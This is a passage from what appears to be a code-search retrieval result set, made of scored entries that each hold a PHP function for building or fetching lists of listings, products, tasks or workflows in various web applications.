"30a0e934105731f0fa70a35ce316ab9f", "score": "0.55174625", "text": "function getOpeningsList($openings,$sheet_start_ymd,$create_opening_url='',$add_opening_text='',$direct_display=false,$private_signups_flag=true)\n{\n $openings_html = \"<ul>\\n\";\n $opening_index = 0;\n $openings_on_a_day = '';\n $prior_ymd = '';\n $num_openings = count($openings);\n\n if ($num_openings > 0) {\n while ($openings[$opening_index]->o_dateymd < $sheet_start_ymd) {\n\t$opening_index++;\n }\n }\n\n while ($opening_index < $num_openings)\n {\n $cur = $openings[$opening_index];\n\n if ($prior_ymd == '') {$prior_ymd = $cur->o_dateymd;}\n\n if ($prior_ymd != $cur->o_dateymd)\n {\n $heading_date = substr($prior_ymd,0,4).'-'.substr($prior_ymd,4,2).'-'.substr($prior_ymd,6,2);\n $openings_html .= \" <li>\n <div id=\\\"openings_on_$prior_ymd\\\">\n <div class=\\\"opening_day_heading\\\">$heading_date</div>\n <ul class=\\\"openings_list openings_list_$prior_ymd\\\">\n$openings_on_a_day\n </ul>\n </div>\n </li>\n\";\n $prior_ymd = $cur->o_dateymd;\n $openings_on_a_day = '';\n }\n\n $openings_on_a_day .= ' <li>'.openingDisplay($openings[$opening_index],($create_opening_url && $add_opening_text),$private_signups_flag).\"</li>\\n\";\n\n $opening_index++;\n }\n // don't forget to tack on the final accumulated info....\n $heading_date = substr($prior_ymd,0,4).'-'.substr($prior_ymd,4,2).'-'.substr($prior_ymd,6,2);\n $openings_html .= \" <li>\n <div id=\\\"openings_on_$prior_ymd\\\">\n <div class=\\\"opening_day_heading\\\">$heading_date</div>\n <ul class=\\\"openings_list openings_list_$prior_ymd\\\">\n$openings_on_a_day\n </ul>\n </div>\n </li>\n\";\n $openings_html .= \"</ul>\\n\";\n\n if ($direct_display && $openings_html)\n {\n echo $openings_html;\n return ($openings_html != '');\n }\n return $openings_html;\n}", "title": "" }, { "docid": "d973535478bd58923422650000fa38c4", "score": "0.5509929", "text": "public function getList(){\n\t\t$html = $this->mashupView->navbar();\n\t\t$list = $this->mInfo->getList(); \n\t\tfor($i=0; $i<count($list); $i++){\n\t\t\tif($list[$i][\"Type\"] == \"series\"){\n\t\t\t\t$this->checkEpisode($list, $i);\n\t\t\t}\t\n\t\t}\n\n\t\t$html .= $this->mashupView->listView($list, $this->epguides); \n\t\treturn $html;\n\t}", "title": "" }, { "docid": "55fca8767a1dd5cc3595af60da0a1d1f", "score": "0.5496349", "text": "public function lister() {\n $gesPiece = Gestionnaire::getGestionnaire(\"piece\");\n $pieces = $gesPiece->getOf(array('aVolet' => 1));\n $this->pieces = array();\n if ( $pieces ){\n foreach ($pieces as $piece) {\n if ($piece instanceof Model_Piece) {\n $this->pieces[] = $piece->getState();\n }\n }\n $this->code = 202;\n }\n else {\n $this->code = 404;\n }\n }", "title": "" }, { "docid": "a85cff9186730119177bdd7579c6fd38", "score": "0.5496261", "text": "abstract public function listAction();", "title": "" }, { "docid": "536d590b053f3e2de4178ca27249d032", "score": "0.54938114", "text": "public function getListings()\n {\n return $this->hasMany(Listings::className(), ['listingsTypeId' => 'listingsTypeId']);\n }", "title": "" }, { "docid": "314b98be71fa7d635960d24808d3c062", "score": "0.5484788", "text": "abstract public function getOfficeList();", "title": "" }, { "docid": "378181d9db1e3fa03ba357618be67e08", "score": "0.5481808", "text": "abstract protected function getCategoryList();", "title": "" }, { "docid": "12b1166b28c7ca66883ecfe1c0f0e21e", "score": "0.54809314", "text": "abstract protected function getProductList();", "title": "" }, { "docid": "21a0ad525317701e922109e53e089472", "score": "0.5472849", "text": "public static function getListingTagsForFrontend(ListingsModel $listing){\n $tagGroups = self::getListingTagsSettings($listing);\n $data = [];\n foreach ($tagGroups as $tagGroup) {\n if (count($tagGroup['list']) > 0) {\n $tagGroup['title'] = $tagGroup['publicTitle'];\n $data[] = $tagGroup;\n }\n }\n return $data;\n }", "title": "" }, { "docid": "f929d0ccbd3f7798c1cd32f1de3abe54", "score": "0.54702157", "text": "private function displayList() {\n\t\t$resultModes = array('LIST', 'MAP');\n\t\t$resultTabs = array_map('strtolower', $resultModes);\n\t\tif (count(array_intersect($this->codes, $resultModes)) == 2) {\n\t\t\t$template = $this->cObj->getSubpart($this->templateCode, in_array('SEARCH', $this->codes) ? '###TEMPLATE_SEARCH_TABS###' : '###TEMPLATE_NOSEARCH_TABS###');\n\t\t\t$tabTemplate = $this->cObj->getSubpart($this->templateCode, '###TEMPLATE_RESULT_TAB###');\n\t\t\t$tabs = '';\n\t\t\tforeach ($resultTabs as $tab) {\n\t\t\t\t$markers = array(\n\t\t\t\t\t'TAB_ADDCLASS' => 'tab-' . $tab . ((($this->piVars['viewTab'] == strtoupper($tab)) || (!isset($this->piVars['viewTab']) && ($tab == 'list'))) ? ' current' : ''),\n\t\t\t\t\t'TAB_LINK' => htmlspecialchars($this->cObj->typoLink_URL(array(\n\t\t\t\t\t\t'parameter.' => array('data' => 'tsfe:id'),\n\t\t\t\t\t\t'additionalParams' => t3lib_div::implodeArrayForUrl(\n\t\t\t\t\t\t\t$this->prefixId,\n\t\t\t\t\t\t\tarray_merge(\n\t\t\t\t\t\t\t\t$this->piVars,\n\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t'viewTab' => strtoupper($tab),\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t),\n\t\t\t\t\t))),\n\t\t\t\t\t'TAB_LABEL' => $this->pi_getLL('results_' . $tab)\n\t\t\t\t);\n\t\t\t\t$tabs .= $this->cObj->substituteMarkerArray($tabTemplate, $markers, '###|###');\n\t\t\t}\n\t\t\t$locMarkers['RESULT_TABS'] = $tabs;\n\t\t\tif (isset($this->piVars['viewTab'])) {\n\t\t\t\t$this->codes = array_diff($this->codes, array_diff($resultModes, array($this->piVars['viewTab'])));\n\t\t\t}\n\t\t}\n\t\telse if (in_array('SEARCH', $this->codes)) {\n\t\t\t$template = $this->cObj->getSubpart($this->templateCode, '###TEMPLATE_SEARCH###');\n\t\t}\n\t\telse {\n\t\t\t$template = $this->cObj->getSubpart($this->templateCode, '###TEMPLATE_RESULTS_NOSEARCH###');\n\t\t}\n\t\tif (in_array('SEARCH', $this->codes)) {\n\t\t\t$renderForm = t3lib_div::makeInstance('tx_icssitlorquery_FormRenderer', $this, $this->cObj, $this->conf);\n\t\t\t$renderForm->addViewTab = isset($locMarkers['RESULT_TABS']);\n\t\t\t$locMarkers['SEARCH_FORM'] = $renderForm->render();\n\t\t}\n\t\tif (in_array('LIST', $this->codes)) {\n\t\t\t$extConf = unserialize($GLOBALS['TYPO3_CONF_VARS']['EXT']['extConf']['ics_sitlor_query']);\n\t\t\tif (!$extConf['no_cache'] && ($content = $this->renderCachedContent('LIST'))) {\n\t\t\t\t$locMarkers['RESULT_LIST'] = $content;\n\t\t\t} else {\n\t\t\t\t$renderList = t3lib_div::makeInstance('tx_icssitlorquery_ListRenderer', $this, $this->cObj, $this->conf);\n\t\t\t\t$content = $renderList->render($this->getElements());\n\t\t\t\t$locMarkers['RESULT_LIST'] = $content;\n\t\t\t\tif (!$extConf['no_cache'])\n\t\t\t\t\t$this->storeCachedContent($content);\n\t\t\t}\n\t\t}\n\t\telse if (in_array('MAP', $this->codes)) {\n\t\t\t$extConf = unserialize($GLOBALS['TYPO3_CONF_VARS']['EXT']['extConf']['ics_sitlor_query']);\n\t\t\tif (!$extConf['no_cache'] && ($content = $this->renderCachedContent('MAP'))) { // HTML could not be cached as the rendering is not really controlled.\n\t\t\t\t$elements = unserialize($content);\n\t\t\t} else {\n\t\t\t\t$elements = $this->getElements(true);\n\t\t\t\tif (!$extConf['no_cache'])\n\t\t\t\t\t$this->storeCachedContent(serialize($elements));\n\t\t\t}\n\t\t\t$renderMap = t3lib_div::makeInstance('tx_icssitlorquery_MapRenderer', $this, $this->cObj, $this->conf);\n\t\t\t$content = $renderMap->render($elements);\n\t\t\t$locMarkers['RESULT_LIST'] = $content;\n\t\t}\n\t\telseif (in_array('RSS', $this->codes)) {\n\t\t\t$templateCode = $this->cObj->fileResource($this->conf['displayXML.']['rss2_tmplFile']);\n\t\t\t$template = $this->cObj->getSubpart($templateCode, '###TEMPLATE_RSS2###');\n\t\t\t\n\t\t\t$renderRSS = t3lib_div::makeInstance('tx_icssitlorquery_RSSRenderer', $this, $this->cObj, $this->conf);\n\t\t\t$locMarkers = array();\n\t\t\t$subparts = array();\n\t\t\t$template = $renderRSS->render($this->getElements(), $template, $locMarkers, $subparts);\n\t\t}\n\t\telse {\n\t\t\t$locMarkers['RESULT_LIST'] = '';\n\t\t}\n\t\t$template = $this->cObj->substituteMarkerArray($template, $locMarkers, '###|###');\n\n\t\t$markers = array(\n\t\t\t'PREFIXID' => $this->prefixId,\n\t\t);\n\t\t$template = $this->cObj->substituteMarkerArray($template, $markers, '###|###');\n\t\treturn $template;\n\t}", "title": "" }, { "docid": "8abbd6fc2b8eb9c6981a14c1d833bc3f", "score": "0.5465446", "text": "function list() {\n $data = $this->handler->handleList();\n\n $page = new Page(\"Applicants\", \"Applicants\");\n $page->top();\n\n listView($data);\n\n $page->bottom();\n }", "title": "" }, { "docid": "1dc1c2d670a2c5cf67fec0563552d6e5", "score": "0.5464007", "text": "static function listsGet() {\n Common::select('Lists', \"SELECT * FROM \" . $GLOBALS['table_prefix'] . \"list ORDER BY listorder;\");\n }", "title": "" }, { "docid": "4a10820096a8203715011a3de6ff00f1", "score": "0.54639006", "text": "public function lists() {\n $userId = $this->getUser('id') ?: 0;\n $this->assign(\"tabs_sub\", \"myTodo\");\n $offset = Q()->get->get(\"offset\") ?: 0;\n $keywords = Q()->get->get(\"keywords\") ?: \"\";\n $params = array();\n $where = \"t.sid = {$this->sid} and t.userId = $userId and t.status=0\";\n if ($keywords) {\n $where .= \" and (t.content LIKE :keywords or t.tags LIKE :keywords)\";\n $params[\"keywords\"] = \"%\" . $keywords . \"%\";\n }\n $todoDM = TodoDModel::getInstance();\n $lists = $todoDM->name(\"t\")\n ->select(\"t\")\n ->where($where)\n ->setParameter($params)\n ->order(\"t.id\", \"DESC\")\n ->limit($offset, $this->listsSize)\n ->getArray();\n $this->assign(\"lists\", $lists);\n $this->assign(\"typesNames\", array(1 => \"赏\", 2 => \"临\", 3 => \"周\"));\n\n $this->assign(\"detailsPages\", $todoDM->detailsMobilePages);\n\n if (!Q()->headers->has(\"onrefreshorinfinite\")) {\n $this->assign(\"keywords\", $keywords);\n $this->assign(\"offset\", $offset + $this->listsSize);\n $this->assign(\"infinite\", count($lists) == $this->listsSize);\n $this->assign(\"menu\", $this->menu);\n return $this->display();\n }\n\n return $this->success(array(\n \"html\" => $this->fetch(\"myTodoItems\"),\n \"infinite\" => count($lists) == $this->listsSize,\n \"offset\" => $offset + $this->listsSize,\n ));\n\n }", "title": "" }, { "docid": "0296a0870fa647555ee1cd27a0169663", "score": "0.54632473", "text": "protected function getlist()\n\t{\n\t\t//query the table\n\t\t$query = \"SELECT * FROM {$this->table} ORDER BY {$this->id} DESC\";\n\t\ttry \n\t\t{\n\t\t\t$result = $this->db->prepare($query);\n\t\t\t$result->execute();\n\t\t}\n\t\tcatch(Exception $e) { \n\t\t\techo \"Scaffolding Table: '{$this->table}' not found\";\n\t\t\texit;\n\t\t}\n\t\twhile ($row = $result->fetchAll(PDO::FETCH_ASSOC)) {\n\t\t\t$post = $row;\n\t\t}\t\t\n\t\tinclude $this->view_dir.'/list.php';\t\n\t}", "title": "" }, { "docid": "43e1f9ba71dc3b7cfdd60a035e911406", "score": "0.5455071", "text": "public function listList() \n {\n $currentNode = $this->head;\n while($currentNode !== null)\n {\n // replace this line with your display class method\n echo $currentNode->nodeKey . \" -\" . $currentNode->nodeNum . \"- \" . \" < \" .$currentNode->prevNode->nodeNum . \" > \";\n \n $currentNode = $currentNode->nextNode;\n \n }\n }", "title": "" }, { "docid": "91868cb0970e9a3bfe9f51f3a2333b41", "score": "0.545316", "text": "public function listInfo()\n\t{\n\t\treturn $this->makeListInfo($this->lists());\n\t}", "title": "" }, { "docid": "8d187ee99e2e1fd8633cee90820af4b0", "score": "0.5452971", "text": "protected function run_list() {\n\t\treturn $this->render_template($this->get_template(), ['objects' => $this->get_model()->get()]);\n\t}", "title": "" }, { "docid": "9c80a2a34cacc00c9404f2f45bc878d8", "score": "0.5452465", "text": "private function createListings(SimpleXMLElement $xmlData, MediaResourceListingsCache $listings = null){\n if(!is_null($listings)){\n $this->getXMLFileManager()->deleteXmlData($listings->getXmlRef());\n \n } else {\n $listings = new MediaResourceListingsCache();\n $listings->setAPI($this->mediaSelection->getAPI());\n $listings->setMediaType($this->mediaSelection->getMediaType());\n $listings->setDecade($this->mediaSelection->getDecade());\n $listings->setGenre($this->mediaSelection->getSelectedMediaGenre());\n $listings->setKeywords($this->mediaSelection->getKeywords());\n $listings->setComputedKeywords($this->mediaSelection->getComputedKeywords());\n $listings->setPage($this->mediaSelection->getPage() != 1 ? $this->mediaSelection->getPage() : null);\n \n }\n $listings->setXmlRef($this->getXMLFileManager()->createXmlRef($xmlData, $this->apiStrategy->getName()));\n $listings->setXmlData($this->getXMLFileManager()->getXmlData($listings->getXmlRef()));\n \n return $listings;\n }", "title": "" }, { "docid": "b37006313e7fa30b9262ba3c27433976", "score": "0.5448709", "text": "function standardlisting($cat){\nglobal $conn;\n$rows = 10;\n\n if($cat === \"N/A\"){\n $sql = (\"SELECT COUNT(*) FROM listing WHERE bool_approved = 1\");\n }else{\n $sql = (\"SELECT COUNT(*) FROM listing WHERE int_category = ? AND bool_approved = 1\");\n }\n $stm = $conn->prepare($sql);\n $stm->execute(array($cat));\n $count = $stm->fetchColumn();\n \n \n $totalpages = ceil($count/$rows);\n \n if(isset($_GET['page'])){\n $currentpage = $_GET['page'];\n }else{\n $currentpage = 1;\n }\n \n $offset = ($currentpage - 1) * $rows;\n \n \n if($cat === \"N/A\"){\n $sqlListings = (\"SELECT * FROM listing WHERE bool_approved = 1 ORDER BY dt_date_listed DESC LIMIT $offset, $rows\");\n }else{\n $sqlListings = (\"SELECT * FROM listing WHERE int_category = ? AND bool_approved = 1 ORDER BY dt_date_listed DESC LIMIT $offset, $rows\");\n }\n $stm = $conn->prepare($sqlListings);\n $stm->execute(array(category()));\n $listing = $stm->fetchAll();\n\n if($listing){\n $loop = \"<ul class='listing'>\";\n \n foreach($listing as $row){\n $loop.= \"<a target='_blank' title='Visit \".$row['nm_site_name'].\"' href='http://\".$row['url_site_address'].\"'><h3>\".$row['nm_site_name'].\" <i class='icon-fixed-width icon-globe'></i></h3></a>\";\n \n $loop.= \"</a><p>\".$row['tx_site_description'].\"...</p>\".generatelink($row['int_category'],$row['id_site']).\"<p align='right'>Read More...</p><hr>\";\n }\n $loop .=\"</ul>\";\n }else{\n $loop = \"There are currently no listings in this category\";\n }\n echo $loop;\n pagination($currentpage, $totalpages, $cat);\n}", "title": "" }, { "docid": "7c003cfe400e0074782b2f64044e04e9", "score": "0.54433495", "text": "private function doDetail4LableList()\n {/*{{{*/\n\t //获取diseaseLableList\n\t $diseaseLableList = DiseaseClient::getInstance()->getDiseaseLableByDiseaseAndLable($this->disease);\n\t $ZhuantiList = array();\n\t foreach ($diseaseLableList as $diseaseLable)\n\t {\n\t \tif ($diseaseLable['type'] == DiseaseLable::LABLE_ZHUANTI) {\n\t \t\t$ZhuantiList[] = $diseaseLable['data'];\n\t \t}\n\t }\n\t //获取diseaseLableList 中 zhuanti 所对应的Doctor\n\t $doctorList4ZhuanTi = array();\n\t if ($ZhuantiList)\n\t {\n\t \t$doctorList4ZhuanTi = $this->getDoctorList4ZhuanTi($ZhuantiList);\n\t }\n\t \n\t //按lableId 分组数据\n\t $diseaseLableListGroupByLable = array();\n\t foreach ($diseaseLableList as $item)\n\t {\n\t \t$diseaseLableListGroupByLable[$item['lableId']][] = $item['data'];\n\t }\n\t $cntList = array();\n\t foreach ($diseaseLableListGroupByLable as $key => $objList)\n\t {\n\t \t$cntList[] = array('id' => $key, 'cnt' => count($objList));\n\t }\n\t $this->sortArray($cntList, 'cnt');\n\t $lableGaiShu = '1'; //概述标签特殊处理\n\t foreach ($cntList as $n => $cnt)\n\t {\n\t \tif ($cnt['id'] == $lableGaiShu)\n\t \t{\n\t \t\tunset($cntList[$n]);\n\t \t}\n\t }\n\t $cntList = array_slice($cntList, 0, 6);\n\t $lableListSortByCnt = array();\n\t foreach ($cntList as $data)\n\t {\n\t \t$arr = $diseaseLableListGroupByLable[$data['id']];\n\t \t$this->sortArray($arr, 'id');\n\t \t$lableListSortByCnt[$data['id']] = array_slice($arr, 0, 5);\n\t }\n\t return array('doctorInfo' => $doctorList4ZhuanTi, 'diseaseLableList' => $lableListSortByCnt);\n }", "title": "" }, { "docid": "8488651c1156640551ed73326d00aea6", "score": "0.54369926", "text": "protected function _processGetListResult(&$data) {\n\n }", "title": "" }, { "docid": "bce353ed2682d89c2bd9ef28cd5fbe35", "score": "0.54362136", "text": "function listable_change_job_into_listing( $args ) {\n\n\t$singular = esc_html__( 'Listing', 'listable' );\n\t$plural = esc_html__( 'Listings', 'listable' );\n\n\t$args['labels'] = array(\n\t\t'name' => $plural,\n\t\t'singular_name' => $singular,\n\t\t'menu_name' => $plural,\n\t\t'all_items' => sprintf( esc_html__( 'All %s', 'listable' ), $plural ),\n\t\t'add_new' => esc_html__( 'Add New', 'listable' ),\n\t\t'add_new_item' => sprintf( esc_html__( 'Add %s', 'listable' ), $singular ),\n\t\t'edit' => esc_html__( 'Edit', 'listable' ),\n\t\t'edit_item' => sprintf( esc_html__( 'Edit %s', 'listable' ), $singular ),\n\t\t'new_item' => sprintf( esc_html__( 'New %s', 'listable' ), $singular ),\n\t\t'view' => sprintf( esc_html__( 'View %s', 'listable' ), $singular ),\n\t\t'view_item' => sprintf( esc_html__( 'View %s', 'listable' ), $singular ),\n\t\t'search_items' => sprintf( esc_html__( 'Search %s', 'listable' ), $plural ),\n\t\t'not_found' => sprintf( esc_html__( 'No %s found', 'listable' ), $plural ),\n\t\t'not_found_in_trash' => sprintf( esc_html__( 'No %s found in trash', 'listable' ), $plural ),\n\t\t'parent' => sprintf( esc_html__( 'Parent %s', 'listable' ), $singular )\n\t);\n\t$args['description'] = sprintf( esc_html__( 'This is where you can create and manage %s.', 'listable' ), $plural );\n\t$args['supports'] = array( 'title', 'editor', 'custom-fields', 'publicize', 'comments', 'thumbnail' );\n\t$args['rewrite'] = array( 'slug' => 'listings' );\n\n\t$permalinks = get_option( 'listable_permalinks_settings' );\n\tif ( isset( $permalinks['listing_base'] ) && ! empty( $permalinks['listing_base'] ) ) {\n\t\t$args['rewrite']['slug'] = $permalinks['listing_base'];\n\t}\n\n\treturn $args;\n}", "title": "" }, { "docid": "80b16afbea12b8b4718f1a25cf5d437c", "score": "0.54351765", "text": "abstract protected function getListModelData();", "title": "" }, { "docid": "03d7575844b2c29264b8c68a2d13dc77", "score": "0.54337496", "text": "function format_listview($result)\n {\n $html = '';\n\n foreach($result as $post_arr)\n {\n $posting = new Posting($post_arr['PostingID']);\n $company_result = Company::retrieve_company_by_posting_id($posting->get('PostingID'));\n $company = new Company($company_result['CompanyID']);\n $microsite=null;\n if($company_result['MicrositeStatus']=='active')\n $microsite = $company_result['Microsite'];\n $tour_type = Posting::get_tour_type($posting->get('Tour_Type'));\n\n $reference_type='posting';\n $reference_id=$posting->get('PostingID');\n\n if($posting->get('Image_Type')=='custom')\n {\n $file = new File();\n $file = File::retrieve_random_file($reference_id,$reference_type);\n\n if($file->exists())\n $image_url = TN_PATH.'square/90x90/'.$file->get('FileID').'.'.$file->get('Extension');\n else\n $image_url = '';\n }\n else\n {\n $country = Country::retrieve_random_posting_country_and_city($reference_id);\n $country_id = $country['CountryID'];\n $file = new File();\n $file = File::retrieve_random_file($country_id,'country');\n if($file->exists() && $file!='')\n $image_url = TN_PATH.'square/90x90/'.$file->get('FileID').'.'.$file->get('Extension');\n else\n $image_url = TN_PATH.'square/90x90/no_image.jpg';\n }\n $html .= '<li>\n <a href=\"'.myUrl('m/tour/package/'.$posting->get('PostingID').'/'.url_title($posting->get('Title'))).'\">\n <img width=\"90\" height=\"90\" src=\"'.$image_url.'\"/><span style=\"white-space: normal;\">'.$posting->get('Title').'</span>\n <div style=\"margin-top: 2px; font-weight: bold;\"><span style=\"color: #F10;\">'.$company->get('Name').'</span>\n <br/><span>'.$tour_type.'</span></div>\n </a>\n </li>';\n } \n \n return $html;\n }", "title": "" }, { "docid": "df5b7b67a38bac40300c69c03ffb309e", "score": "0.5425686", "text": "abstract protected function _buildListItemCache();", "title": "" }, { "docid": "4a4da6c6ffe63dde34c80f0079ab94c2", "score": "0.54247916", "text": "public function buildListLayout(): void\n {\n $this\n ->addColumn('competition', 3)\n ->addColumn('annee', 1)\n ->addColumn('journee_numero', 2)\n ->addColumn('equipeDom', 2)\n ->addColumn('equipeExt', 2)\n ->addColumn('updated_at', 2);\n }", "title": "" }, { "docid": "7b58c53805a65752afd294a5add441dd", "score": "0.54208046", "text": "protected function setupList(){\n $modId = $this->getModId();\n\n $this->aBrowser['useSpecView'] = AMI::issetAndTrueProperty($modId, 'use_special_list_view');\n $colsOption = in_array($this->bodyType, array('cats', 'sticky_cats')) ? 'body_cats_cols' : 'cols';\n if($this->bodyType == 'small'){\n $colsOption = 'body_small_cols';\n }elseif($this->bodyType == 'browse_items'){\n $colsOption = 'body_browse_cols';\n }\n // Init columns number value\n if(AMI::issetOption($modId, $colsOption)){\n $this->aBrowser['cols'] = AMI::getOption($modId, $colsOption);\n if($this->aBrowser['cols'] < 1){\n $this->aBrowser['cols'] = 1;\n }\n }else{\n $this->aBrowser['cols'] = 1;\n }\n // Init browser options\n $isCatsMode = in_array($this->bodyType, array('cats', 'sticky_cats'));\n if($isCatsMode){\n $modId .= '_cat';\n }\n $this->aBrowser['orderColumn'] = AMI::getOption($modId, 'front_page_sort_col');\n $this->aBrowser['orderDirection'] = AMI::getOption($modId, 'front_page_sort_dim');\n if($this->bodyType == 'browse_items'){\n $this->aBrowser['pageSize'] = AMI::getOption($modId, 'body_browse_page_size');\n }else{\n $this->aBrowser['pageSize'] = AMI::getOption($modId, 'page_size');\n }\n if(\n !in_array($this->bodyType, array('cats', 'sticky_cats')) &&\n AMI_Registry::get('AMI/Module/Environment/Filter/active')\n ){\n $this->aBrowser['pageSize'] = AMI::getOption($modId, 'body_filtered_page_size');\n }\n // Init limit parameters\n $offsetPrefix = $isCatsMode ? 'cat' : '';\n if($this->aBrowser[$offsetPrefix . 'offset'] > 0){\n $this->aBrowser['listStart'] = $this->aBrowser[$offsetPrefix . 'offset'];\n if($this->aBrowser['pageSize'] > 0){\n $this->aBrowser['listLimit'] = $this->aBrowser['pageSize'];\n }\n }elseif($this->aBrowser['pageSize'] > 0){\n $this->aBrowser['listStart'] = 0;\n $this->aBrowser['listLimit'] = $this->aBrowser['pageSize'];\n }\n }", "title": "" }, { "docid": "3ae14d6b829c79b427a2af7c7d9c27cc", "score": "0.54170007", "text": "function thema_widget_item_list($type, $ca_id, $it, $new=24, $thumb_width=0, $thumb_height=0, $is_create=false, $is_crop=true, $crop_mode='center', $is_sharpen=true, $um_value='80/0.5/3') {\n global $g5, $config, $is_admin, $aslang;\n\n\t// 배열전체를 복사\n\t$list = $it;\n\tunset($it);\n\n\tif($type == \"item\") {\n\t\t$mb_id = ($list['pt_id']) ? $list['pt_id'] : $config['cf_admin'];\n\t\t$list['new'] = ($list['pt_num'] >= (G5_SERVER_TIME - ($new * 3600))) ? true : false;\n\t\t$list['date'] = $list['pt_num'];\n\t\t$list['photo'] = apms_photo_url($mb_id); //회원사진\n\t\t$list['subject'] = $list['it_name'];\n\t\t$list['comment'] = $list['pt_comment'];\n\t\t$list['content'] = $list['it_explan'];\n $list['category'] = $list['ca_name'];\n $list['hit'] = $list['it_hit'];\n $list['good'] = $list['pt_good'];\n $list['nogood'] = $list['pt_nogood'];\n\t\tif($thumb_width > 0) $list['img'] = apms_it_thumbnail($list, $thumb_width, $thumb_height, $is_create, $is_crop, $crop_mode, $is_sharpen, $um_value);\n\n\t\t$list['href'] = G5_SHOP_URL.'/item.php?it_id='.$list['it_id'];\n\t\tif($ca_id) $list['href'] .= '&amp;ca_id='.$ca_id;\n\n\t} else if($type == \"itemcomment\") {\n\t\t$list['reply_name'] = ($list['wr_comment_reply'] && $list['wr_re_name']) ? $list['wr_re_name'] : '';\n\t\t$list['new'] = ($list['wr_datetime'] >= date(\"Y-m-d H:i:s\", G5_SERVER_TIME - ($new * 3600))) ? true : false;\n\t\t$list['photo'] = apms_photo_url($list['mb_id']); //회원사진\n\t\t$list['name'] = $list['wr_name'];\n\t\t$list['date'] = strtotime($list['wr_datetime']);\n\t\t$list['secret'] = (strstr($list['wr_option'], \"secret\")) ? true : false;\n\t\tif($list['secret']) {\n\t\t\t$list['subject'] = $list['wr_subject'] = $list['wr_content'] = $aslang['cmt_secret']; //비밀댓글입니다.\n\t\t} else {\n\t\t\t$list['subject'] = apms_cut_text($list['wr_content'], 60);\n\t\t}\n\t\t$list['content'] = $list['wr_content'];\n\t\t$list['wr_content'] = '';\n\t\tif($thumb_width > 0) $list['img'] = apms_it_write_thumbnail($list['it_id'], $list['wr_content'], $thumb_width, $thumb_height, $is_create, $is_crop, $crop_mode, $is_sharpen, $um_value);\n\n\t\t$list['href'] = G5_SHOP_URL.'/item.php?it_id='.$list['it_id'];\n\t\tif($ca_id) $list['href'] .= '&amp;ca_id='.$ca_id;\n\t\t$list['href'] .= '#icv';\n\n\t} else if($type == \"itemqa\") {\n\t\t$list['new'] = ($list['iq_time'] >= date(\"Y-m-d H:i:s\", G5_SERVER_TIME - ($new * 3600))) ? true : false;\n\t\t$list['photo'] = apms_photo_url($list['mb_id']); //회원사진\n\t\t$list['name'] = $list['iq_name'];\n\t\t$list['date'] = strtotime($list['iq_time']);\n\t\t$list['secret'] = ($list['iq_secret']) ? true : false;\n\t\tif($list['secret']) {\n\t\t\t$list['subject'] = $list['iq_subject'] = $list['iq_question'] = $aslang['iq_secret']; //비밀글로 보호된 문의입니다.\n\t\t} else {\n\t\t\t$list['subject'] = $list['iq_subject'];\n\t\t\tif($thumb_width > 0) $list['img'] = apms_it_write_thumbnail($list['it_id'], $list['iq_question'], $thumb_width, $thumb_height, $is_create, $is_crop, $crop_mode, $is_sharpen, $um_value);\n\t\t}\n\t\t$list['content'] = $list['iq_question'];\n\t\t$list['iq_question'] = '';\n\t\t$list['answer'] = ($list['iq_answer']) ? true : false;\n\n\t\t$list['href'] = G5_SHOP_URL.'/itemqaview.php?iq_id='.$list['iq_id'];\n\t\tif($ca_id) $list['href'] .= '&amp;ca_id='.$ca_id;\n\n\t} else if($type == \"itemuse\") {\n\t\t$list['new'] = ($list['is_time'] >= date(\"Y-m-d H:i:s\", G5_SERVER_TIME - ($new * 3600))) ? true : false;\n\t\t$list['photo'] = apms_photo_url($list['mb_id']); //회원사진\n\t\t$list['name'] = $list['is_name'];\n\t\t$list['date'] = strtotime($list['is_time']);\n\t\t$list['subject'] = $list['is_subject'];\n\t\t$list['content'] = $list['is_content'];\n\t\t$list['is_content'] = '';\n\t\t$list['star'] = apms_get_star($list['is_score']);\n\t\tif($thumb_width > 0) $list['img'] = apms_it_write_thumbnail($list['it_id'], $list['content'], $thumb_width, $thumb_height, $is_create, $is_crop, $crop_mode, $is_sharpen, $um_value);\n\n\t\t$list['href'] = G5_SHOP_URL.'/itemuseview.php?is_id='.$list['is_id'];\n\t\tif($ca_id) $list['href'] .= '&amp;ca_id='.$ca_id;\n\t}\n\n return $list;\n}", "title": "" }, { "docid": "d56b804e94816b67614abf0fe915b5ca", "score": "0.5407615", "text": "function details($params = array()) {\n \n if(!isset($params['listing_id'])){\n echo \"Listing ID required\";\n die();\n }\n \n $request = 'listings/' . $params['listing_id'];\n $request .= parent::createURL($params, array('listing_id'));\n \n $result = parent::makeRequest($request);\n \n return $result;\n \n }", "title": "" }, { "docid": "8d689d2f3d62a1eb10e875b7f254d432", "score": "0.5399527", "text": "public function listAll();", "title": "" }, { "docid": "07c59a9aa4487a389929203a9f81a4cc", "score": "0.5397707", "text": "public function getlist() \n\t{\n\t\n\t\t//get all workflows we own, or are part of\n\t\t$sql = \"SELECT dm_object.name AS object_name,dm_workflow.* FROM docmgr.dm_workflow\n\t\t\t\t\t\tLEFT JOIN docmgr.dm_object ON dm_object.id=dm_workflow.object_id\n\t\t\t\t\t\tWHERE \n\t\t\t\t\t\t\t(account_id='\".USER_ID.\"' OR \n\t\t\t\t\t\t\tdm_workflow.id IN (SELECT workflow_id FROM docmgr.dm_workflow_route WHERE account_id='\".USER_ID.\"')\n\t\t\t\t\t\t\t)\";\n\n\t\tif ($this->apidata[\"filter\"]==\"current\")\n\t\t\t$sql .= \"\tAND (dm_workflow.status IN ('nodist','pending') OR dm_workflow.status IS NULL) \";\n\t\telse if ($this->apidata[\"filter\"]==\"history\")\n\t\t\t$sql .= \"\tAND (dm_workflow.status IN ('forcecomplete','complete','rejected')) \";\n\n\t\t$sql .= \"\tORDER BY id DESC\";\n\n\t\t$list = $this->DB->fetch($sql);\n\n\t\t//loop through and add sme extra information\t\t\n\t\tfor ($i=0;$i<$list[\"count\"];$i++) \n\t\t{\n\n\t\t\t$a = new ACCOUNT($list[$i][\"account_id\"]);\n\t\t\t$ainfo = $a->getInfo();\n\t\t\t$list[$i][\"account_name\"] = $ainfo[\"first_name\"].\" \".$ainfo[\"last_name\"];\n\t\t\n\t\t\t$list[$i][\"status_view\"] = $this->viewStatus($list[$i][\"status\"]);\t\n\t\t\t$list[$i][\"date_create_view\"] = dateView($list[$i][\"date_create\"]);\n\t\t\t$list[$i][\"date_complete_view\"] = 